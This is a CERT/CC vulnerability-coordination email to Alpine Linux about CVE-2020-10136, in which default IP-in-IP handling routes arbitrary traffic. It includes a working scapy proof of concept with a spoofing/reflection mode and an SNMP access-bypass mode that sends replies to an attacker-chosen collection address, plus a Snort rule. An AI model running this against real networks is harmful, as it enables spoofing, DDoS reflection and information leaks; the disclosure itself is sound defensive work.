From: CERT Coordination Center <cert@cert.org>
To: Alpine Linux <NCOPA@ALPINELINUX.ORG>
Cc: CERT Coordination Center <cert@cert.org>
Subject: VU#636397 IP-in-IP protocol routes arbitrary traffic by default alpine
Date: Wed, 29 Apr 2020 13:44:17 -0400
Organization: CERT(r) Coordination Center <tel:+1-412-268-7090>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
TLP: AMBER
(See: https://www.first.org/tlp/)
2020-04-28
VU#636397: IP-in-IP protocol routes arbitrary traffic by default
Overview
An unauthenticated attacker can use the IP-in-IP protocol to route network traffic through a vulnerable device, which can lead to spoofing, access control bypasses, and other unexpected network behaviors. This can lead to information leaks (CWE-200) and/or access control bypasses (CWE-284).
Description
IP-in-IP encapsulation and tunneling (specified in RFC 2003 https://tools.ietf.org/html/rfc2003) allows for IP packets to be encapsulated in an outer IP packet and transmitted. This is very similar to IP GRE VPNs and IPSEC VPNs in tunnel mode, except IP-in-IP is unencrypted by its default specification. An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP packets from any source to any destination without explicit configuration for enabling IP-in-IP tunnels. When an IP-in-IP packet is received by a vulnerable device/endpoint, it unwraps the inner IP packet and forwards this packet through its default network route acting like a tunneled router. This behavior is expected only when IP-in-IP tunneling is explicitly configured and allowed from specific sources and destinations. When a vulnerable device routes unidentified packets to another destination, spoofing of IP addresses is possible which can lead to reflective DDOS. This behavior can also lead to sce!
narios such as bypassing access lists, firewalls and other network controls that may be implemented on the target device’s environment. Because the forwarded network packet may not be inspected by vulnerable devices, there are possibly other unexpected behaviors that can be abused by an attacker on the target device or the target device's network environment.
Proof of Concept
The following code in Python3 with scapy demonstrates the issue.
#!/usr/bin/env python3
import sys
from scapy.all import *
if len(sys.argv) < 3:
print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
sys.exit(0);
## IP-in-IP forwarding device vulnerable to VU-636397
VULNERABLE_MACHINE_IP = sys.argv[1]
## VICTIM IP of the machine we want to send packet to
VICTIM_IP = sys.argv[2]
if len(sys.argv) == 5 and sys.argv[4] == "bypass":
## Address we want to send the return traffic back to
DATA_COLLECT_IP = sys.argv[3]
## LAN bypass mode to jump into VICTIM_IP network
## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
else:
## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
Raw(load="I am Vulnerable\n"))
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
## tcpdump -i any -nvvv udp port 3363
The demonstration script can be used in two ways – spoof mode and bypass mode. Initial setup requires at least three devices for this testing. In the simple spoofing mode, attacker will send a IP-in-IP packet from their device to a vulnerable machine (VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim’s device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS capability to send unsolicited traffic to VICTIM_IP. Because this packet has valid source and destination, anti-spoofing measure such as BCP-38 will not block this crafted packet. The intended traffic can be routed through the VULNERABLE_IP to the VICTIM_IP device by an unauthenticated attacker.
In the bypass mode (using all 4 arguments for the script), the attacker will send a crafted IP-in-IP packet from the attacker’s device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The vulnerable device will receive and decapsulate the packet and forward the inner IP packet to the victim device (VICTIM_IP sys.argv[2]) machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The attacker can thus solicit information using the sample SNMP query to be sent to DATA_COLLECT_IP which he has access to. In the provided example, device at the VICTIM_IP address is assumed to have SNMP enabled with the standard "public" community string for read-only access. SNMP is being demonstrated here, but this forwarding behavior can allow for many types of unexpected IP traffic to traverse using the vulnerable machine as a forwarding point for any nefarious communications as planned by the attacker.
Impact
An unauthenticated attacker may be able to route network traffic through a vulnerable device, which can lead to information leakage (CWE-200) and/or bypass of access-control (CWE-284).
Resolution
The CERT/CC recommends that you apply the latest patch provided by your vendor that addresses this issue. If a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature. Devices manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.
Workaround
An impacted customer can prevent IP-in-IP packets by filtering protocol 4 IP packets at the upstream router or another device to prevent this unexpected behavior by the target device. Note this filtering is for IP protocol header value of 4 and NOT IP protocol version of 4.
Detection Singature (IDS)
This Snort IDS rule looks for any IP-in-IP traffic, whether intentional or not. Further filtering can be applied to ignore sources and destinations that are allowed by your policy to route IP-in-IP traffic.
alert ip any any -> any any (msg:"IP-in-IP Tunneling VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; rev:1;)
Vendor Status
If your device or the networking software is vulnerable and a patch is available, please provide a vendor statement with any links to your advisory and detailed information of how the relevant updates may be obtained. We plan to include your statement (verbatim) and related links in our vulnerability note. If your device does not support IP-in-IP OR your device does not allow for the vulnerable behavior, let us know so we can mark your device as "Not Affected" in our advisory. We hope to publish this advisory around June 1 2020, so your timely input will help us in making our advisory pertinent with specific information for your software.
Acknowledgements
The CERT/CC would like to thanks Yannay Livneh <yannayl@gmail.com> for reporting this issue to us.
CVE
CVE-2020-10136 has been reserved for this vulnerability. This CVE ID represents the vulnerability in the under-specification of the IP-in-IP protocol. According to the CVE assignment rules, it may be appropriate for individual IP-in-IP implementations to issue additional CVE IDs.
Vijay Sarvepalli
Vulnerability Analysis Team
======================================================================
CERT Coordination Center
kb.cert.org / cert@cert.org
======================================================================
TLP: AMBER
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
iQIcBAEBCAAGBQJeqbwyAAoJEEX9VBq5PtUr+SwP/2obrKofV8MWSXAE3U1M0v9H
VLVGoU4I8qfAY1pdrl9rMAthb39gCbsxeBWg7mKzC9G0x73NnO+b4r0tMVTdW1a4
K0IJrpNf2vJu1c7WN4+SA/0OF93DCxKnmY8dk+sR+jUMY9iIiA652QPpkpjUayAt
gR6X5ry+WGJydFZ/RVzcAqkDC9n/g3FJWmnZ+sx4UVn9JUb8rKUzr8RRXN3Pp25X
UB0Mbuv0eJ8muWZ23rpx46lwHKKeUVG3aegV9NVrHT/HOmj/GVrcdZl0PLplGCMY
uDwOwM2KgD8lIPM3ELl4X3Y05nQuU9MU7dFwRLdbkJAr1v9ot6EdeY5/I7iOmQzf
xUel4tJpH+bq2BMxNTDkBQyniRpYbDMyEX3ieIJzvNiPwdpaeb0f1hMVIBMqOm5h
EXSa0/Wuy2ZW7Cby/9+zWTVbPnY3LAO+GyGBIfI4t3shBNrbX6WgeC/kMYLG4y9B
LXnyeiZc0KZf0j//yTu6CJJ6fJM53yEvPYQoy0x14UkcWOO11vkmPrI2tkGg5tEK
Okec1kt9xWsBMTB+daVvbOmf/wY0kXmPySgAb3bkorhNGH5CrAhHHqSDzUbdt4ZK
WS0UYLPC3TdknNzSIZfaKXgKhigUDXewIR6eyByqO4hnqB4G1xjLt1oJzJWdrC7G
GSuv61GggKA6wfzewDmo
=dr39
-----END PGP SIGNATURE-----